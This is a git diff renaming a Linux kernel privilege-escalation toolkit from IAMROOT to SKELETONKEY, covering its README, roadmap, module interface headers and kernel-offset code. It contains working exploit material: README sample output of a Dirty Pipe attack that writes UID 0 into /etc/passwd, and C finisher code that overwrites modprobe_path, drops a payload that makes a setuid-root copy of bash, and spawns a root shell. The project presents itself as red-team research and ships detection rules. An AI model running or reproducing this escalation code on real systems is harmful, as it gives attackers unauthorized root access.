888 88 88 888
888 `8bd8' 888 ╔══╩═╗
`88b `""' d88' ║ ╠═╗
`Y8, ,8P' ║ ║ ║
`"Y8P"' ║ ╠═╝
║ ║
║ ╠═╗
║ ║ ║
║ ╠═╝
╚════╝
S K E L E T O N K E Y
```
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
> tool. By using it you assert you have explicit authorization to test
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
@@ -23,29 +33,29 @@
```bash
# One-shot install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
```
**iamroot runs as a normal unprivileged user** — that's the whole
**skeletonkey runs as a normal unprivileged user** — that's the whole
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
work without `sudo`. Only `--mitigate` and rule-file installation
write to root-owned paths.
```bash
# What's this box vulnerable to? (no sudo)
iamroot --scan
skeletonkey --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
iamroot --audit
skeletonkey --audit
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
sudo iamroot --mitigate copy_fail
sudo skeletonkey --mitigate copy_fail
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
```
### Example: unprivileged → root
@@ -54,14 +64,14 @@ sudo iamroot --mitigate copy_fail
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ iamroot --scan
$ skeletonkey --scan
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
$ iamroot --exploit dirty_pipe --i-know
$ skeletonkey --exploit dirty_pipe --i-know
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root
@@ -69,27 +79,27 @@ $ iamroot --exploit dirty_pipe --i-know
uid=0(root) gid=0(root) groups=0(root)
```
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
for the blue-team deployment guide.
## What this is
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
is empirically verified to work on the kernels it claims to target,
CI-tested across a distro matrix, and ships with the detection
signatures defenders need to spot it in their environment.
The same binary covers offense and defense:
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
apply, and which are blocked by patches/config/LSM
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
authorization gate)
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
every bundled CVE so blue teams can drop them into their tooling
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
host is vulnerable to (sysctl knobs, module blacklists, etc.)
## Status
@@ -110,7 +120,7 @@ across the 2016 → 2026 LPE timeline:
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
nft_payload, nft_set_uaf, stackrot.
- Detection rules ship inline (auditd / sigma / yara / falco) and
are exported via `iamroot --detect-rules --format=…`.
are exported via `skeletonkey --detect-rules --format=…`.
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
@@ -126,7 +136,7 @@ The Linux kernel privilege-escalation space is fragmented:
- **Per-CVE single-PoC repos**: usually one author, often abandoned
within months of release, often only one distro
IAMROOT's bet is that there's room for a single curated bundle that
SKELETONKEY's bet is that there's room for a single curated bundle that
(1) actively maintains a small set of high-quality exploits across a
multi-distro matrix, and (2) ships detection rules alongside each
exploit so the same project serves both red and blue teams.
@@ -148,16 +158,16 @@ module-loader design and how to add a new CVE.
```bash
make # build all modules
./iamroot --scan # what's this box vulnerable to? (no sudo)
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
./iamroot --detect-rules --format=sigma > rules.yml
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
./skeletonkey --detect-rules --format=sigma > rules.yml
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
```
## Acknowledgments
Each module credits the original CVE reporter and PoC author in its
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
research credit belongs to the people who found the bugs.
## License
+18 -18
View File
@@ -15,18 +15,18 @@ commitments.
## Phase 1 — Make the bundling real (DONE 2026-05-16)
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
registry, route to module's detect/exploit
- [x] Module interface header (`core/module.h`) — standard
`iamroot_module` struct + `iamroot_result_t` (numerically
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
aligned with copy_fail_family's `df_result_t` for zero-cost
bridging)
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
exposing 5 modules
- [x] Top-level `Makefile` that builds all modules into one binary
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
`iamroot --list` prints the module inventory
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
`skeletonkey --list` prints the module inventory
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
across families). Phase 1 keeps them inside copy_fail_family/src/
@@ -35,7 +35,7 @@ commitments.
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
Public PoC, well-understood, useful for completeness — IAMROOT
Public PoC, well-understood, useful for completeness — SKELETONKEY
without Dirty Pipe is incomplete as a "historical bundle." Affects
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
deployments (worth bundling — many production boxes still run
@@ -49,7 +49,7 @@ these).
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
watches) and `sigma.yml` (non-root modification of sensitive files)
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
kernel 6.12.86 → correctly reports OK (patched).
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
passwd-UID and page-cache-revert helpers in the module (~80 lines).
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
- [x] Exposed as a library helper: other modules can call
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
--i-know` produces a kbase leak. Verified on kctf-mgr:
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
- [x] `entry_SYSCALL_64` slot offset configurable via
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
Future enhancement: auto-detect via /boot/System.map or
/proc/kallsyms if accessible.
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
## Phase 5 — Detection signature export (DONE 2026-05-16)
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
across all modules (deduped — family-shared rules emit once)
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
strings can be added when authors ship them. Currently no module
ships YARA or Falco rules (skipped cleanly).
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
`detect_yara`, `detect_falco` fields — each NULL or pointer to
embedded C string. Self-contained binary, no data-dir install needed.
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
sufficient for common usage patterns.
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
(already landed in Phase 2 complete).
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
no automated mitigation possible. Document and skip.
@@ -178,7 +178,7 @@ cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
None requires fresh research — each has a public reference exploit;
the work is porting the per-kernel offset dance into a portable
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
likely as an env-var override table per distro+kernel, with offset
auto-resolve via System.map / kallsyms when accessible).
@@ -190,7 +190,7 @@ race window makes it inherently low-yield.
## Non-goals
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
- **No automated mass-targeting.** No host-list mode. No automatic
pivoting.
- **No persistence beyond `--exploit-backdoor`'s
+25 -25
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — shared finisher helpers
* SKELETONKEY — shared finisher helpers
*
* See finisher.h for the pattern split (A: modprobe_path overwrite,
* B: current->cred->uid).
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
return 0;
}
void iamroot_finisher_print_offset_help(const char *module_name)
void skeletonkey_finisher_print_offset_help(const char *module_name)
{
fprintf(stderr,
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
" To populate them on this host, choose ONE of:\n"
"\n"
" 1) Environment override (one-shot, no host changes):\n"
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
"\n"
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
module_name, module_name);
}
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
if (!iamroot_offsets_have_modprobe_path(off)) {
iamroot_finisher_print_offset_help("module");
return IAMROOT_EXPLOIT_FAIL;
if (!skeletonkey_offsets_have_modprobe_path(off)) {
skeletonkey_finisher_print_offset_help("module");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!arb_write) {
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Per-pid working paths so concurrent runs don't collide. */
pid_t pid = getpid();
char mp_path[64], trig_path[64], pwn_path[64];
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
* know it ran. Bash 4+ refuses to use its own setuid bit by
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
char payload[1024];
snprintf(payload, sizeof payload,
"#!/bin/sh\n"
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
pwn_path, pwn_path, pwn_path);
if (write_file(mp_path, payload, 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Unknown-format trigger: anything that fails the standard exec
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
if (write_file(trig_path, "\x00", 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
unlink(mp_path);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Build the kernel-side write payload: a NUL-terminated path to
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: arb_write failed\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Fire the trigger by exec'ing the unknown binary. fork() so the
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
waitpid(cpid, &st, 0);
} else {
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
have_setuid:
if (!spawn_shell) {
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
fflush(stderr);
@@ -161,11 +161,11 @@ have_setuid:
execve(pwn_path, argv, NULL);
/* Only reached on execve failure. */
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
fprintf(stderr,
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
" the task list from init_task and find current). Modules with\n"
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
" instead — same root capability, simpler trigger.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
+19 -19
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — shared finisher helpers for full-chain root pops.
* SKELETONKEY — shared finisher helpers for full-chain root pops.
*
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
* write, slab UAF, etc.). The conversion to root is almost always one
@@ -21,11 +21,11 @@
* Pattern (B) needs a self-cred chase + multiple writes.
*
* Modules provide their own arb-write primitive via the
* iamroot_arb_write_fn callback; this file wraps the rest.
* skeletonkey_arb_write_fn callback; this file wraps the rest.
*/
#ifndef IAMROOT_FINISHER_H
#define IAMROOT_FINISHER_H
#ifndef SKELETONKEY_FINISHER_H
#define SKELETONKEY_FINISHER_H
#include <stdint.h>
#include <stddef.h>
@@ -35,7 +35,7 @@
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
* `kaddr`. Module-specific implementation. Returns 0 on success,
* negative on failure. `ctx` is opaque module state. */
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx);
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
* groomed slab THEN call the trigger. The trigger is a separate fn
* because some modules need to re-spray before each write. NULL is
* acceptable if the arb-write is self-contained. */
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
* already populated `off->modprobe_path`. Implementation:
* 1. Write payload script to /tmp/iamroot-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
* → our payload runs as root → payload writes /tmp/iamroot-pwn
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
* and/or copies /bin/bash to /tmp with setuid root
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
*
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
* 1. Walk task linked list from init_task to find self by pid
* (this requires arb-READ too — not supplied here; B-pattern
* modules need to provide their own variant)
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
* helpful error. */
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
/* Diagnostic: tell the operator how to populate offsets manually. */
void iamroot_finisher_print_offset_help(const char *module_name);
void skeletonkey_finisher_print_offset_help(const char *module_name);
#endif /* IAMROOT_FINISHER_H */
#endif /* SKELETONKEY_FINISHER_H */
+2 -2
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel_range implementation
* SKELETONKEY — kernel_range implementation
*/
#include "kernel_range.h"
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
if (uname(&u) < 0) return false;
/* Stash release string for callers that want to print it. We hold
* a single static buffer; not threadsafe but iamroot is single-
* a single static buffer; not threadsafe but skeletonkey is single-
* threaded today. */
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
out->release = g_release_buf;
+4 -4
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel version range matching
* SKELETONKEY — kernel version range matching
*
* Every CVE module needs to answer "is the host kernel in the affected
* range?". This file centralizes that.
@@ -17,8 +17,8 @@
* patch version is at or above the threshold.
*/
#ifndef IAMROOT_KERNEL_RANGE_H
#define IAMROOT_KERNEL_RANGE_H
#ifndef SKELETONKEY_KERNEL_RANGE_H
#define SKELETONKEY_KERNEL_RANGE_H
#include <stdbool.h>
#include <stddef.h>
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
bool kernel_range_is_patched(const struct kernel_range *r,
const struct kernel_version *v);
#endif /* IAMROOT_KERNEL_RANGE_H */
#endif /* SKELETONKEY_KERNEL_RANGE_H */
+30 -30
View File
@@ -1,49 +1,49 @@
/*
* IAMROOT — core module interface
* SKELETONKEY — core module interface
*
* Every CVE module exports one or more `struct iamroot_module` entries
* via a registry function. The top-level dispatcher (iamroot.c) walks
* Every CVE module exports one or more `struct skeletonkey_module` entries
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
* the global registry to implement --scan, --exploit, --mitigate, etc.
*
* This is intentionally a small interface. Modules carry the
* complexity; the dispatcher just routes.
*/
#ifndef IAMROOT_MODULE_H
#define IAMROOT_MODULE_H
#ifndef SKELETONKEY_MODULE_H
#define SKELETONKEY_MODULE_H
#include <stddef.h>
#include <stdbool.h>
/* Standard result codes returned by detect()/exploit()/mitigate().
*
* These map to top-level exit codes when iamroot is invoked with a
* These map to top-level exit codes when skeletonkey is invoked with a
* single-module operation:
*
* IAMROOT_OK exit 0 detect: not vulnerable / clean
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
*
* Implementation note: copy_fail_family's df_result_t shares these
* numeric values intentionally so the family code can return its
* existing constants without translation.
*/
typedef enum {
IAMROOT_OK = 0,
IAMROOT_TEST_ERROR = 1,
IAMROOT_VULNERABLE = 2,
IAMROOT_EXPLOIT_FAIL = 3,
IAMROOT_PRECOND_FAIL = 4,
IAMROOT_EXPLOIT_OK = 5,
} iamroot_result_t;
SKELETONKEY_OK = 0,
SKELETONKEY_TEST_ERROR = 1,
SKELETONKEY_VULNERABLE = 2,
SKELETONKEY_EXPLOIT_FAIL = 3,
SKELETONKEY_PRECOND_FAIL = 4,
SKELETONKEY_EXPLOIT_OK = 5,
} skeletonkey_result_t;
/* Per-invocation context passed to module callbacks. Lightweight for
* now; will grow as modules need shared state (host fingerprint,
* leaked kbase, etc.). */
struct iamroot_ctx {
struct skeletonkey_ctx {
bool no_color; /* --no-color */
bool json; /* --json (machine-readable output) */
bool active_probe; /* --active (do invasive probes in detect) */
@@ -52,8 +52,8 @@ struct iamroot_ctx {
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
};
struct iamroot_module {
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
struct skeletonkey_module {
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
const char *name;
/* CVE identifier (or "VARIANT" if no CVE assigned). */
@@ -71,20 +71,20 @@ struct iamroot_module {
const char *kernel_range;
/* Probe the host. Should be side-effect-free unless ctx->active_probe
* is true. Return IAMROOT_VULNERABLE if confirmed,
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
/* Run the exploit. Caller has already passed the --i-know gate. */
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
/* Apply a temporary mitigation. NULL if none offered. */
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
* effects. NULL if no cleanup applies. */
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
/* Detection rule corpus — embedded so the binary is self-
* contained. Each may be NULL if this module ships no rules for
@@ -96,4 +96,4 @@ struct iamroot_module {
const char *detect_falco; /* falco rules content */
};
#endif /* IAMROOT_MODULE_H */
#endif /* SKELETONKEY_MODULE_H */
+22 -22
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel offset resolution
* SKELETONKEY — kernel offset resolution
*
* See offsets.h for the four-source chain (env → kallsyms → System.map
* → embedded table). This implementation is deliberately small and
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
#define DEFAULT_CRED_EFF_OFFSET 0x740
#define DEFAULT_CRED_UID_OFFSET 0x4
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
{
switch (src) {
case OFFSETS_NONE: return "none";
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
/* ------------------------------------------------------------------
* Source 1: environment variables
* ------------------------------------------------------------------ */
static void apply_env(struct iamroot_kernel_offsets *o)
static void apply_env(struct skeletonkey_kernel_offsets *o)
{
const char *v;
uintptr_t a;
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
if (!o->kbase) o->kbase = a;
}
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
if (!o->modprobe_path) {
o->modprobe_path = a;
o->source_modprobe = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
if (!o->poweroff_cmd) o->poweroff_cmd = a;
}
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
if (!o->init_task) {
o->init_task = a;
o->source_init_task = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
if (!o->init_cred) o->init_cred = a;
}
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if (!o->cred_offset_real) {
o->cred_offset_real = (uint32_t)a;
o->source_cred = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
}
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
}
}
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
* the same "ADDR TYPE NAME" format).
